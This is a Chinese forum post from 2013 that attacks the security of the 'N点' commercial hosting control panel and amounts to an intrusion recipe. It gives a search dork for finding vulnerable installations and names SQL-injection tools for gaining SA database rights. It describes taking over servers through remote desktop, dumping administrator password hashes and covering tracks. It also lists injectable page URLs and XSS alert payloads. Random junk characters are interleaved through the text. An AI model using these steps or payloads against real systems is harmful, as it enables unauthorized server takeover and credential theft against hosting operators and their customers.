不得不说N点实在是一个破东西
& g* d$ p0 a+ N' [/ Q就算他开发的商业版，就算商业版附带了安全设置也不能掩饰他的破烂+ O8 Y7 x9 ?3 a
好吧 抱怨一下就行了 接下来关键的时候到了
, n$ e8 d7 P5 G3 n. _' Z4 [首先百度搜索关键字：inurl: (mmdatabase.asp)
8 I6 R0 E. D4 d+ X; v- Z$ Z' p( i1 q我随便列举一个： www.xxxx.com
[4 _4 h* w0 z修改链接：http://www.xxxx.com:80/Style/new ... &RID=1&ID=17 Y2 W4 A0 }( q! `& d. {7 W5 v4 ], ^
扔入NBSI 或者啊D等各种傻逼工具后9 J1 k( ?" |+ j' K3 }
你们会看到是SA权限
m5 O6 A. [# g5 {: _果断3389 上去 hash得到administrator密码
& k$ k$ X% V# V. \擦屁股走人~
0 t" o+ O$ y: {% Q* a; k' @经过基友本人测试10个这个程序5个以上有这个漏洞5个里面有一半是SA权限的* S' F" g& |* ~3 E$ N s, W! E
- n1 Z2 b8 N: w- I, v+ t0 I% \+ F
再附上其他几个漏洞页面. L6 s# }+ ~! B$ @! C$ s& l
SQL：
/ i$ w( Z# d, s% b3 whttp://www.xxxxxx.com:80/Style/flashad/flashad.asp?adid=1; l- L# d; @: M4 c6 N
http://www.xxxxxx.com:80/Manage/ ... ogin.asp&PID=11
4 r6 A+ `5 u7 Q/ g& ]; `http://www.xxxxxx.com:80/Manage/ ... login.asp&PID=92 v0 _& [% ^ Z4 t6 q
http://www.xxxxxx.com:80/Style/vhosting.asp?classID=2
0 m0 P+ N8 I" g% ~! {: VXSS证明：
' ?5 c$ e: e+ K1 {http://www.xxxxxx.com:80/Manage/ ... yle/memberlogin.asp”;alert(42873);”
4 N1 L; _* H. ?4 k* W% z4 }7 {http://www.xxxxxx.com:80/Manage/ ... yle/memberlogin.asp”;alert(42873);”
# L4 e S2 u/ X4 @- I# u" L9 R7 q$ ihttp://www.xxxxxx.com:80/Style/d ... mp;checkbox2=.bj.cn<script>alert(42873)</script>
) L! n! E* \2 [9 E4 N! O1 @4 M9 x由此可见点就是坑逼中的战斗机 自从用了他我的眼泪都流干了 有做IDC的朋友千万别步我后尘啊 便宜没好货好货不便宜
+ ]4 T( Y5 O5 u/ }7 t1 a0 I+ k9 z& l还是星外吧 你们懂的( N h! d. f4 C
作为一个商用程序 安全如此堪忧甚至于连网上开源的一些程序都有所不如，这样的公司能走多远？
" g5 ^, ?0 P1 J- c/ APS：其实我真的很想知道你说N点这SB asp就asp吧 为什么asp还非要MSSQL 这不是好像告诉我们快来日吧我们很容易日的，裤子都脱啦，就等你啦。 o(︶︿︶)o 唉
) ]7 G: J; O9 D——- |
发表于 2013-3-3 08:06:44
收藏
支持
反对